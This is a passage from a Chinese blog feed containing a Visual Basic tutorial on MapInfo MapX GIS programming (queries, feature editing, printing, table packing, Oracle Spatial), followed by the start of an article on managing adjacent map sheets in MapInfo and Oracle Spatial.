<BR>MainMap.CreateCustomTool CreateLineTool, miToolTypeLine, miCrossCursor <BR>MainMap.CreateCustomTool InfoTipTool, miToolTypePoint, miCrossCursor <BR>MainMap.CreateCustomTool MoveFeature, miToolTypeLine, miPanCursor <BR>MainMap.CreateCustomTool ScaleDistanceTool, miToolTypeLine, miPanCursor <BR>C. 如何使用？ <BR>在Map对象的ToolUsed事件的ToolNum参数为当前所激活的工具 <BR>使当 <BR>前操作指向某行为：MainMap.CurrentTool=工具句柄号，如放大：MainMap.CurrentTool=miZoomInTool，移动图元：MainMap.CurrentTool=MoveFeature <BR>操作具体的工具句柄时，执行该捕捉到的工具句柄的代码： <BR>在ToolUsed事件中： <BR><BR>Select Case ToolNum <BR>Case MoveFeature <BR>‘执行代码 <BR>End Select <BR><BR>删除图元：Lyr.DeleteFeature Ftr <BR><BR>三、查询 <BR><BR><BR>发表时间: 2002-07-30 14:21<BR><BR><BR>1、 属性查找。Find、Search方法：注意的是Find方法只支持TAB表文件，不支持空间数据表。 <BR>Find ：与FoxPro中Locate定位命令想类似。 <BR>Search：支持SQL语句。写法：仅指SQL语句的WHERE 部分，且From语句中只能有一个表——仅对单表进行操作：Select * from LayerName WHERE ID LIKE “%北京%” <BR>示例： <BR>A、查找 <BR>Dim Ftrs AS MapXlib.Features ‘图元集合 <BR><BR>SET Ftrs=Lyr.Search(“ID LIKE ““%北京%”””) <BR>For I=1 to Ftrs.Count <BR>‘执行语句 <BR>Next <BR>B、高亮显示 <BR>Lyr.Selection.Replace Ftrs ‘将当前查询所得的结果集全部高亮显示（隐含执行：Lyr.ClearSelection语句）——加入selection集合 <BR>闪烁：不能用Selection，否则会对整个屏幕进行整个刷新（抖动）。使用更新Style的方法进行选定图元的闪烁。 <BR>记载图元的老样式：Set Oldsytle=Ftr.Style <BR><BR>Lyr.Selection.Add Ftrs ‘将当前查询所得的结果集添加到已有的结果集中，再全部高亮显示 <BR>C、对查询的结果集进行属性修改 <BR>示例程序：完成的是Professional中信息工具功能 <BR>Dim ds AS MapXlib.Dataset <BR>Dim Flds AS MapXlib.Fields <BR>Dim Ftr AS MapXlib.Feature <BR><BR>Set Lyr=MainMap.Layers.Item(LayerName) <BR>Set ds=Lyr.Datasets.item(1) <BR>Set Flds=ds.Fields <BR>‘查找 <BR>SET Ftrs=Lyr.Search(“ID LIKE ““%北京%”””) <BR>If Ftrs.count=0 then exit sub <BR><BR>‘读取属性值 <BR>For I=1 to Ftrs.Count <BR>Set Ftr=Ftrs.Item(I) <BR>For j=1 to Flds.count <BR>FldsName(J)=Flds.Item(J).Name ‘字段列表 <BR>Lyr.KeyField=FldsName(J) <BR>ValueStr(I,J)=Ftr.KeyValue ‘值列表 <BR>Next <BR>Next <BR><BR>‘修改属性 <BR>MainMap.AuyoRedraw=False <BR>Lyr.Editable=True <BR><BR>For j=1 to Flds.count <BR>Lyr.KeyField= Flds.Item(J).Name <BR>Ftrs.Item(j).KeyValue =ValueStr(J) ‘更新值列表 <BR>Ftrs.Item(j).Update True <BR>Next <BR><BR>Lyr.Refresh <BR>Lyr.Editable=False <BR>MainMap.AuyoRedraw=True <BR><BR>‘修改样式 <BR>Dim NewStyle AS MapXlib.Style <BR><BR>With NewStyle <BR>‘设置样式 <BR>End With <BR><BR>MainMap.AuyoRedraw=False <BR>Lyr.Editable=True <BR><BR>For i=1 to Ftrs.count <BR>Set Ftr =Ftrs.Item(I) <BR>SET Ftr.Style=NewStyle ‘更新样式 <BR>Ftr.Update True <BR>Next <BR><BR>Lyr.Refresh <BR>Lyr.Editable=False <BR>MainMap.AuyoRedraw=True <BR><BR>2、 空间查找 <BR>2 点查找：SearchAtPoint，结果集为Features类型 <BR>Dim Pnt AS MapXlib.Point <BR><BR>Pnt.Set X,Y <BR>Set Ftrs=Lyr.SearchAtPoint(Pnt,miSearchResultAll) <BR>For I=1 to Ftrs.Count <BR>‘执行语句 <BR>Next <BR>注意：点查找时，一般情况下结果集在一个以上的图层都存在。所以取值时应分别提取 <BR><BR>2 园查找：在临时图层上画一个不保存的圆，然后查找被这个圆所包含的所有图层的图元对象。 <BR>Dim Pnt AS MapXlib.Point <BR>Dim TempCir AS MapXlib.Feature <BR>Dim FeaFac AS MapXLIB.featurefactory <BR><BR>Pnt.Set X,Y <BR>Set tempcir=FeaFac.CreateCircularRegion(miCircleTypeMap ,Pnt,1, MainMap.MapUnit,,) <BR><BR>‘miSearchTypeCentroidWithin ：中心点包含 <BR>‘miSearchTypePartiallyWithin ：部分包含 <BR>‘miSearchTypeEntirelyWithin ：全部包含 <BR><BR>Set Ftrs=Lyr.SearchWithinFeature (TempCir, miSearchTypePartiallyWithin) <BR><BR>For I=1 to Ftrs.Count <BR>‘执行语句 <BR>Next <BR><BR>SET Pnt =Nothing <BR>set TempCir =Nothing <BR>set FeaFac =Nothing <BR><BR>3、 相交 <BR>判断两个图元是否有交点以及交点坐标信息。 <BR>（1）判断是否相交 <BR>IF Lyr.IntersectionTest( ftr1, ftr2, miIntersectFeature ) THEN <BR>‘交点 <BR>END IF <BR><BR>（2）获取相交点坐标信息 <BR>‘交点 <BR>Dim Ftr AS MapXlib.Feature <BR><BR>SET Ftr=MainMap.FeatureFactory. IntersectFeatures(Ftr1,Ftr2) <BR>‘交点坐标信息 <BR>For J=1 to Ftr.parts.item(1).count <BR>X1= Ftr.parts.item(1).Item(J).X <BR>Y1= Ftr.parts.item(1).Item(J).Y <BR>Next <BR><BR>4、 测距 <BR>使用Map对象的Distance方法。如何测量任意多边形的周长？ <BR>使用累加的方法，还要使用图元节点集合。 <BR>DistanceValue=0 <BR>‘第一个点 <BR>Pnt.Set Ftr.Parts.Item(1).Item(1).X, Ftr.Parts.Item(1).Item(1).Y <BR>For j=2 TO Ftr.Parts.Item(1).Count <BR>‘累加 <BR>X1= Ftr.Parts.Item(1).Item(j-1).X <BR>Y1= Ftr.Parts.Item(1).Item(j-1).Y <BR>X2= Ftr.Parts.Item(1).Item(j).X <BR>Y2= Ftr.Parts.Item(1).Item(j).Y <BR>DistanceValue = DistanceValue +MainMap.Distance(X1, Y1, X2, Y2) <BR>Next <BR>‘多边形周长 <BR>Msgbox DistanceValue+” ”+MainMap.MapUnit <BR><BR>四、对象编辑 <BR><BR><BR>发表时间: 2002-07-30 14:21<BR><BR><BR>（1）、对属性的编辑 <BR>主要使用Fields对象。示例： <BR>Dim Flds AS MapXlIB.Fields <BR><BR>‘修改当前图层的每一个字段 <BR>For J=1 to Flds.Count <BR>Lyr.KeyField= Flds.Item(j).Name ‘使当前图层指向J字段 <BR>‘更新当前图元的J字段值 <BR>Ftr.KeyValue=NewValueStr(J) <BR>Ftr.Update True ‘并未写入硬盘 <BR>Next <BR>Lyr.Refresh ‘保存修改到硬盘 <BR><BR>（2）、移动地图 <BR>首先创建一个移动工具句柄 <BR>MainMap.CreateCustomTool MoveFeature, miToolTypeLine, miPanCursor <BR>在Map对象的ToolUsed事件的ToolNum参数为当前所激活的工具 <BR>捕捉MoveFeature工具句柄 <BR>‘传过来的参数：X1，Y1，X2，Y2 <BR>Select case ToolNum <BR>…….. <BR>Case MoveFeature <BR>Dim Lyr AS MapXlib.Layer <BR>Dim Ftr AS MapXlib.Feature <BR>Dim Ftrs AS MapXlib.Features <BR><BR>Dim Xe,Ye AS Double ‘坐标偏移量 <BR><BR>Xe=X2-X1 <BR>Ye=Y2-Y1 <BR><BR>Set Lyr=Mainmap.Layers.Item(LayerName) <BR>Set Ftrs=Lyr.Selection.Clone ‘将当前图层中选定的集合复制到Ftrs变量中 <BR>MainMap.AutoRedraw=False <BR>Lyr.Editable=True <BR>For J=1 to Ftrs.Count <BR>Set Ftr=Ftrs.Item(J) <BR>Ftr.Offset Xe,Ye <BR>Ftr.Update True <BR>Next <BR>Lyr.Refresh <BR>Lyr.Editable=False <BR>MainMap.AutoRedraw=True <BR><BR>SET lyr=Nothing <BR>SET Ftr=Nothing <BR>End Select <BR>（3）、样式更新 <BR>Dim NewStyle AS MapXLib.Style <BR><BR>‘初始赋值 <BR>Set Lyr=MainMap.Layers.Item(LayerName) <BR>Set Ftrs=Lyr.AllFeatures <BR>Set NewStyle=Ftrs.Item(1).Style <BR>‘设置样式 <BR>With NewStyle <BR>.SymbolType = miSymbolTypeBitmap <BR>.SymbolBitmapSize = 24 <BR>.SymbolBitmapTransparent = False <BR>.SymbolBitmapName = "YIEL2-32.BMP" <BR>End With <BR>‘更新 <BR>MainMap.AutoRedraw=False <BR>Lyr.Editable=True <BR>SET Ftr.Style=NewStyle <BR>Ftr.Update True <BR>Lyr.Refresh <BR>Lyr.Editable=False <BR>MainMap.AutoRedraw=True <BR><BR>五、输出 <BR><BR><BR>发表时间: 2002-07-30 14:22<BR><BR><BR>1、属性的输出 输出到EXCEL表： <BR>For I=1 to Flds.Count <BR>Lyr.KeyFields=Flds.Item(i).Name <BR>Excel(1,I).Cell=Ftr.KeyValue <BR>Next <BR>2、复制、粘贴 <BR>Global CopyFtrs AS MapXlib.Features <BR><BR>Set lyr=mainmap.Layers.item(LayerName) <BR>Set Ftrs=Lyr.Selection.Clone ‘复制选中集合 <BR>‘复制 <BR>For I=1 to Ftrs.Count <BR>CopyFtrs.add Ftrs.Item(I) <BR>Next <BR><BR>‘粘贴（图形） <BR>Set lyr_1=mainmap.Layers.item(LayerName_1) <BR>Mainmap.AutoRedraw=False <BR>Lyr_1.Editabled=True <BR>For J=1 to CopyFtrs.Count <BR>Lyr_1.AddFeature CopyFtrs.Item(J) <BR>Next <BR>Lyr_1.Refresh <BR>Mainmap.AutoRedraw=True <BR>Lyr_1.Editabled=False <BR><BR>3、地图的打印 <BR>Dim iScaleMode As Integer <BR><BR>iScaleMode = MainMap.Container.ScaleMode <BR>MainMap.Container.ScaleMode = 6 <BR><BR>On Error GoTo PrinterError <BR><BR>Printer.Print " " <BR>Printer.CurrentX = 0 <BR>Printer.CurrentY = 0 <BR>MainMap.PrintMap Printer.hDC, 0, 0, MainMap.Width * 100, MainMap.Height * 100 <BR>Printer.NewPage <BR>Printer.EndDoc <BR>MainMap.Container.ScaleMode = iScaleMode <BR>Exit Sub <BR><BR>PrinterError: <BR>If Err.Number = 482 Then <BR>On Error Resume Next <BR>CommonDialog1.Flags = &H40 <BR>CommonDialog1.ShowPrinter <BR>Else <BR>MsgBox " 打印机存在错误，请更正后重试。错误号：" + (Str(Err.Number)), , "失败" <BR>End If <BR><BR><BR>4、另存为图片文件 <BR>MainMap.ExportMap(App.Path+”Images”, miFormatJPEG) ‘输出当前地图窗口 <BR>参数设置：MainMap.ExportSelection=True ‘将选中部分以不同于其他未选中地图部分形式输出 <BR><BR>六、专题图 <BR><BR><BR><BR>发表时间: 2002-07-30 14:22<BR><BR><BR>6种专题图：除独立值专题图绑定的字段类型可以是字符的以外，都必须是数字类型。与其他数据源绑定时，使用ODBC <BR>调用ThemeDlg对话框可以让用户自己定义专题图。示例： <BR>For Each ftr In lyr.Selection <BR><BR>′ The children of the layer are the individual <BR><BR>′ features <BR><BR>Set ftrNode = QueryTree.Nodes.Add(lyrNode, tvwChild,lyr.Name _ <BR><BR>& ftr.Name & Str$(ftr.FeatureID), ftr.Name) <BR><BR>For Each fld In ds.Fields <BR><BR>′ Each feature has data attached to it; add <BR><BR>′ this data as a child of the feature <BR><BR>lyr.KeyField = fld.Name <BR><BR>QueryTree.Nodes.Add ftrNode, tvwChild, , lyr.KeyField _ <BR><BR>& ": " & ftr.KeyValue <BR><BR>Next <BR><BR>Next <BR><BR>七、在MapX下紧缩表 <BR><BR><BR>发表时间: 2002-07-30 14:23<BR><BR><BR>在Professional里面，紧缩表用 Pack Table 语句完成。而在MapX中则需要使用临时图层，并用复制技术来完成。示例： <BR>‘紧缩当前Map对象中的所有图层 <BR>Dim LayerInfo As New MapXLib.LayerInfo <BR>Dim Lyr As MapXLib.Layer <BR>Dim LyrTemp As MapXLib.Layer <BR>Dim Flds As MapXLib.Fields <BR>Dim Ds As MapXLib.Dataset <BR><BR>Dim I As Integer <BR>Dim LayerName, FilePath As String <BR><BR>On Error Resume Next <BR><BR>For I = MainMap.Layers.Count To 1 Step -1 <BR>′复制源表数据到临时表 <BR>Set Lyr = MainMap.Layers.Item(I) <BR>Set Ds = Lyr.Datasets.Item(1) <BR>Set Flds = Ds.Fields <BR><BR>LayerName = Lyr.Name <BR><BR>LayerInfo.Type = miLayerInfoTypeTemp <BR>LayerInfo.AddParameter "FileSpec", LayerName <BR>LayerInfo.AddParameter "NAME", LayerName <BR>LayerInfo.AddParameter "Features", Lyr.AllFeatures‘复制所有有效图元 <BR>LayerInfo.AddParameter "Fields", Flds ’复制字段列表 <BR><BR>LayerInfo.AddParameter "AutoCreateDataset", 1 <BR>LayerInfo.AddParameter "datasetname", LayerName <BR>Set LyrTemp = MapTemp.Layers.Add(LayerInfo, 1) ‘复制到另外Map对象 <BR><BR>′删除源表 <BR>Set Lyr = Nothing <BR>FilePath = MainMap.Layers.Item(I).Filespec <BR>LayerName = Mid(FilePath, InStr(1, FilePath, "Maps" + 6, Len(FilePath) - InStr(1, FilePath, "Maps") <BR>FilePath = Mid(FilePath, 1, InStr(1, FilePath, "Maps" + 5) <BR>LayerName = Mid(LayerName, 1, Len(LayerName) - 4) <BR><BR>MainMap.Layers.Remove (I) <BR>MainMap.Refresh <BR><BR>Kill FilePath + LayerName + ".TAB" <BR><BR>′复制临时表数据到源表 <BR>Set LyrTemp = MapTemp.Layers.Item(LayerName) <BR><BR>LayerInfo.Type = miLayerInfoTypeNewTable <BR>LayerInfo.AddParameter "FileSpec", FilePath + LayerName + ".TAB" <BR>LayerInfo.AddParameter "NAME", LayerName <BR>LayerInfo.AddParameter "Features", LyrTemp.AllFeatures <BR>LayerInfo.AddParameter "Fields", Flds <BR><BR>LayerInfo.AddParameter "AutoCreateDataset", 1 <BR>LayerInfo.AddParameter "datasetname", LayerName <BR>Set Lyr = MainMap.Layers.Add(LayerInfo, 1) <BR><BR>′删除临时表 <BR>MapTemp.Layers.Remove (MapTemp.Layers.Count) <BR>MapTemp.Refresh <BR>Next <BR><BR>Set Lyr = Nothing <BR>Set Ds = Nothing <BR>Set Flds = Nothing <BR>Set LayerInfo = Nothing <BR><BR>八、如何和大型数据库关联 <BR><BR><BR>发表时间: 2002-07-30 14:24<BR><BR><BR>系统是混合结构：对地图的访问使用的是文件访问方式，对属性数据的访问使用的是大型数据库形式使用ID关联：在TAB表和数据库中有ID字段，两个字段作为唯一值关联字段。（一对一的关系）。示例： <BR><BR>Lyr.KeyField=”ID” <BR>Set Ftr=Ftrs.Item(J) <BR><BR>‘SQL语句查找对应的属性信息 <BR>SampleAdo.RecordSource =”Select a.id as id,b.name as name from Table1 a, Table2 b WHERE (a.id=b.id) AND ( a.id LIKE ‘%“ +Ftr.KeyValue+“%’)” <BR><BR>九、空间数据库 <BR><BR><BR>发表时间: 2002-07-30 14:24<BR><BR><BR>2 空间数据库中的索引技术用的是R_Tree技术，而不是原来一般意义上的B_Tree索引技术。 <BR>2 空间数据在Spatial中以地理属性信息形式存放。 <BR>2 在Oracle的版本中有如下需要注意事项： <BR>a) Oracle 8.1.5这个版本中，首次引入Spatial组件。使用上非常不好：图形的样式非常单一，且为黑白的而非彩色，上载地图数据时，数据丢失非常严重。存取数据时非常慢。在Spatial中自动创建prinx字段作为地图索引主关键字段 <BR>b) Oracle 8.1.6版本：图形为彩色的，增加了样式的支持，但不支持同一图层下的多样式（主要指点对象）。创建地图数据时，地图的坐标常发生偏移。属性数据更新时，需要两次刷新才能完整提交；地图数据数据提交时，其坐标发生偏移：向原点偏移，需要认为地单独将其移动到其初始创建位置。存取速度上还是比较慢，离实用尚有一定距离。在Spatial中自动创建mi_prinx字段作为地图索引主关键字段 <BR>2 Oracle 8.1.7版本：支持多样式，数据上载丢失非常小（只有文本对象存在丢失的记录）。在地图数据存取不是很大的时候，速度上可以被用户接受。 <BR>2 如何将MapInfo 的TAB表内容上传到Oracle 中？ <BR>a) 免费工具：easyloader6.7（Oracle 8.1.7），下载地址：<A href="http://www.mapinfo.com.cn/" target=_blank><FONT color=#103610>http://www.mapinfo.com.cn</FONT></A> <BR>b) 如何上载？注意：上载之前对Tab表进行紧缩。 <BR>c) 在程序中如何使用空间数据库中的地图数据？ <BR>d) 添加地图时，必须指定字段mi_prinx的明确值，且该值不能为表中已存在的值。写入地图数据时，应将其全部NOT NULL 字段值赋给，否则保存失败。 <BR>e) 示例：Tab表+空间数据表 的数据分布形式。 <BR><BR>十、GIS应用的分发 <BR><BR><BR>发表时间: 2002-07-30 14:25<BR><BR><BR>1、 制作你自己的系统的安装盘：可执行文件、必要系统文件、运行库文件、其他数据文件。 <BR>2、 单独的MapX安装盘：MapInfo MapX Runtime安装程序，实际上是MapX控件安装程序（存在于MapX sdk包） <BR>3、 注册：安装完成以后，运行GeosetManager40.exe程序获得硬件ID号，然后通过EMAIL的形式将该ID号发送到MapX产品供应商申请正式的许可文件（mapx40.lic）。获得后覆盖原mapx40.lic文件即可。注意：硬盘格式化后该ID号失效。 <BR><BR>十一、构造一个GIS应用系统 <BR><BR><BR>发表时间: 2002-07-30 14:26<BR><BR><BR>需求：鹰眼功能、拓扑关系、不同图形不同颜色表现、数据绑定、系统性能。 <BR><BR>结构分析：做基于TAB文件的GIS系统 <BR>1、 鹰眼功能 <BR>（1） 建立两个Form对象，将两个Map对象分别放在这两个窗口对象中。 <BR>（2） 一个小窗口作为鹰眼窗口，大 窗口作为主地图窗口。鹰眼窗口中的Map对象的视野应很大，而主地图窗口的视野根据需要设置。 <BR>（3） 两个窗口中加载不同的GST文件。需要的是主地图窗口的显示范围应为鹰眼窗口中某个矩形所包含的地图对象范围。 <BR>（4） A、在鹰眼窗口中画一个矩形（Rect为矩形对象），B、主地图窗口执行 Set MainMap.Bounds = Rect <BR>（5） 需要注意的是：鹰眼窗口与主地图窗口两者间的坐标投影系统应完全一致。 <BR><BR>2、 拓扑关系 <BR>实际上就是图元与图元的空间关系。说历史：原来建立拓扑关系使用的是属性关联。 <BR>点查询、圆查询、矩形查询、多边形查询等这些是属于简单空间关系的对比。而对拓扑关系的查询多数情况下使用Parts对象来解决。 <BR>Ftr1与另一个Ftr2的空间关联：先找到Ftr1的其止节点，然后以这个节点为中心画一个非常小的圆，在这个圆范围内的某个设备可认为与该Ftr1相连。 <BR>判断某个图元在指定图层上的相交对象集合： <BR>Set Ftrs=Lyr.SearchWithinFeature (SearchFtr, miSearchTypePartiallyWithin) <BR><BR>3、 不同图形不同颜色表现 <BR>（1）更新样式 再结合临时图层就可以很好解决（使用图层刷新）。而且刷新时不会引起整个Map对象的刷新（屏幕抖动） <BR>（2）专题图 存在更新属性值后不能实时刷新专题图的问题。 <BR>4、 数据绑定 <BR>对未绑定的属性集合使用 MainMap.Datasets.ADD <BR>地图集合和属性集合为一个数据集合的不可分割的两个部分 <BR>5、 系统性能 <BR>速度是否为用户所接受、系统是否稳定（界面要求）、修改数据数据的时候是否存在数据一致性维护问题、造价是否合理。 <BR>（1）速度：使用数据分布可以较好地解决：地图数据：地形图数据以文件形式存放，业务地图数据存放在空间数据库中；属性数据：全部存放在大型数据库中。 <BR><BR>（2）系统是否稳定（界面要求）：A、字段全部用英文，B、地图拓扑关系在进入系统以前进行必要的验证，C、文件地图数据中字段数减少到最小，可使访问属性频率大大减少，可有效保证其他用户访问时不会大量出现访问拒绝的现象；D、数据提交时尽可能采用事务机制： 事务开始： Lyr.BeginAccess，事务结束：Lyr.EndAccess；E、数据修改提交时尽可能采用批量提交。至于界面要求，应主要满足从地图对象获取相关的要求。 <BR>（3）数据一致维护：遵循图元优先的原则。图形对象必须首先存在，其他相关信息在此基础上建立。注意： <BR>2 修改时应先修改地图对象，后提交属性信息 <BR>2 删除时应先删除其他信息，最后删除图形信息 <BR>（4）造价 这里主要指平台费用。A、现有数据格式，B、功能要求：空间分析是否复杂、地图图层是否分散、系统中地图输出的质量要求、系统中统计分析复杂程度是否较繁琐、直接的平台使用用户数（并发数）。<!-- viewthread_post_sig --> </SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=178" /> 
	  <id>http://www.openx.cn/default.asp?id=178</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[MapInfo对邻接域的处理方式]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-12-10T17:41:33+08:00</updated>
	  <published>2005-12-10T17:41:33+08:00</published>
		  <summary type="html"><![CDATA[<SPAN id=ContentLabel style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">1文件处理方式<BR>对于已有地图数字化录入的地图数据，由于测图时是以图幅为作业单位的，因此对邻接域管理问题主要是图形数据录入后的拼接编辑处理。进行拼接时，常常会有边界不一致的情况，需要进行边缘匹配处理。对于这种情况，一般需要先进行投影变换，通常的做法是从地形图使用的高斯-克吕格投影转换到经纬度坐标系中，然后再进行拼接，但往往会由于操作不当等原因而产生裂缝或空隙，从而破坏地物的连通性、整体性等空间特性；或者可通过设计算法由计算机自动完成或辅助手工半自动完成，目前市场上已有部分矢量化软件提供了这个功能；另外一种方法是在数字化之前，将一幅图幅上跨图幅的地物按照“它在两图幅之间所占的比例大小，地物在哪幅图幅占的比例大就将它转移哪幅图上”的规则，进行归属处理，之后再进行数字化。这样虽然避免破坏部分小区域要素地图数据的拓扑关系从而省去拼接处理，但是这种方法对于那些跨几幅图范围的大区域要素就无能为力了。<BR>对于已有地图数字化的邻接域处理还有其它的方法，本文在这里就不重点加以讨论，下面重点探讨数字测图方式下的分图幅管理的邻接域处理问题。<BR>现阶段对大比例尺地图数据的获取主要采用数字测量方式。数字测量所用软件有AutoCAD、清华山维的EPSW、南方测绘的CASE等。其中，AutoCAD因为其强大的图形编辑功能，我国大多数生产单位都采用它或在其基础上进行二次开发后用于数字测量。但限于其有限的GIS功能，很多情况下，用户的地图数据往往要由AutoCAD中转换到其他GIS系统如MapInfo中。这样一个单幅的地图数据由于其作业方式的改变（不是分幅，而是分区），使得其文件大小可能达到50M左右。如果用户直接将该图层在MapInfo中打开显示，其显示速度和处理速度会受到很大影响。此时，对地图数据的管理传统上采取的方法是将整个单幅的大图层划分成若干个小图幅，并利用建立索引图的方法，来提高对地图的显示速度和处理速度。<BR>分幅与建立索引的具体方法与步骤是：<BR>1． 新建一个空白图层用作索引图层，并将它添加到当前地图窗口。<BR>2． 在索引图层中创建若干矩形区域对象，用来对底图进行分割。<BR>3． 使底图可编辑，并选中底图，设置为目标对象。<BR>4． 选中索引图层中的某一矩形区域，利用“对象”-“分割”将底图进行分割。<BR>5． 选中底图中被分割出来的部分，并将其剪切或拷贝。<BR>6． 新建一个图层，用来存放从底图中剪切下来或拷贝过来的图形。<BR>7． 重复步骤4-6直到将整个底图全部分割完毕。<BR>8． 编写（用MapBasic）用程序，建立索引，控制分幅图层显示。<BR>还可以利用MapBasic编制程序实现对图层的自动分割。虽然用这种方式比较简单，但作为编程语言与其它可视化语言如VB、VC++等比较起来，开发起来相对烦琐。因此，用它们来开发应用程序不尽如人意。还可通过相应的处理，可以让邻接域只位于某一个图幅中。但会出现另一种情况：假设将来基于两幅图幅进行空间决策分析，如道路拓宽改建过程中的拆迁指标计算、工程项目选址、区域规划等，其中一幅图由于邻接域的处理包含了邻接域的整体，而另一幅图没有包含，必会造成决策上的失误。&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <BR>2数据库方式<BR>与文件方式比较，另外一种更理想的解决方案是使用Oracle Spatial。通过数据库管理空间数据方式可以方便的解决此问题，即将整个图层数据存入Oracle数据库中，通过SQL语句下载任意区域的数据，数据库会自动维护数据的完整性。实际上，邻接域问题对于数据库管理方式已不存在了。下面就具体介绍在MapInfo professional中利用Oracle Spatial存取以及查询空间数据的具体方法。<BR>2.1 Oracle Spatial<BR>Oracle&nbsp;&nbsp;Spatial空间数据插件是一个能在Oracle数据库中快速有效地存储、访问、分析空间数据的完整的功能程序集。它可以满足以下两种用户的需求：一种是想在传统的数据库中增加空间查询功能的用户；另一种是想存储、管理包含海量地理数据的大型空间数据库的GIS用户.Oracle&nbsp;&nbsp;Spatial空间数据插件基于Oracle数据库提供了便利的存储、恢复、更新、查询空间特征集的各种标准SQL模型和功能。它包括以下四部分：⑴用于描述所支持的地理数据类型的存储、语法、语意的模型； ⑵空间索引结构；⑶执行相关范围查询和空间关系查询的操作和功能集合；⑷管理功能。 <BR>由于Oracle Spatial系统建立在功能强大的服务器上，又实现了非常高效的空间索引技术（R-tree），所以能轻松地处理地图数据。利用Oracle Spatial可以将地图数据直接存储到Oracle数据库服务器中，不仅可以解决邻接域问题，而且还可以在客户端通过MapInfo professional，利用Oracle Spatial提供的空间算子结合SQL语句，对MapInfo地图进行编辑、查询和及其它复杂空间分析。<BR>在Oracle Spatial中地图数据的使用很简单，只需建立一个单一图层，不必再进行分幅处理。如果用户原来的数据源是分幅的，可将其全部存储到一个Oracle Spatial图层中，Oracle Spatial将自动对其进行拼接和索引处理，可形成一个完整的图层。当连接数据库打开表时， MapInfo支持在打开数据表的同时，进行SQL查询，从而可以只打开整个图层中的符合用户要求的一部分图形和数据。在应用中，在客户端通过MapInfo Professional，只需极少的编程工作量（实际上只是指定数据源），就可实现对Oracle Spatial数据的动态显示。Oracle Spatial会根据当前地图客户端的显示视野，自动将此范围内的图形检索出来，送到客户端显示出来。因此用Oracle Spatial处理邻接域问题是完全可行的。<BR>利用Oracle Spatial，可建立一种真正的Client/Server结构的空间信息系统，不仅解决了地图数据的存储，管理等问题，也解决了多用户编辑，数据完整性，数据安全机制等许多问题。<BR>2.2.2空间数据的组织<BR>本文中利用Oracle Spatial将地图数据直接存储到Oracle数据库服务器中。在Oracle Spatial中，MapInfo 的属性数据和地图数据被存储在同一张关系表中（如表一）。<BR>表 一<BR>&nbsp; &nbsp; StreetID&nbsp; &nbsp;&nbsp; &nbsp; StreetName&nbsp; &nbsp;&nbsp;&nbsp;Length&nbsp; &nbsp;&nbsp;&nbsp;Width&nbsp; &nbsp;&nbsp; &nbsp;… …&nbsp; &nbsp;&nbsp; &nbsp;GEOM<BR>&nbsp; &nbsp;&nbsp; &nbsp;1&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;NanxinStreet&nbsp; &nbsp;&nbsp;&nbsp;1000&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;40&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;… …&nbsp; &nbsp;&nbsp; &nbsp;……<BR>&nbsp; &nbsp;&nbsp; &nbsp;2&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;TongliWest&nbsp; &nbsp;&nbsp;&nbsp;1500&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;50&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;… …&nbsp; &nbsp;&nbsp; &nbsp;……<BR>&nbsp; &nbsp;&nbsp;&nbsp;… …&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;… …&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; … …&nbsp; &nbsp;&nbsp; &nbsp; … …&nbsp; &nbsp;&nbsp;&nbsp;… …&nbsp; &nbsp;&nbsp; &nbsp;……<BR>Oracle数据库中的数据来源有两种方法:一种是利用MapInfo的数据上载工具Easyloader向Oracle数据库中上载MapInfo空间数据； 另一种是在Oracle Spatial 中创建地图数据（如下）。<BR>1.创建一个新表：<BR>create table town(townname varchar2(42),…,location MDSYS.SDO_GEOMETRY)；<BR>&nbsp; &nbsp; 2.将新表增加到 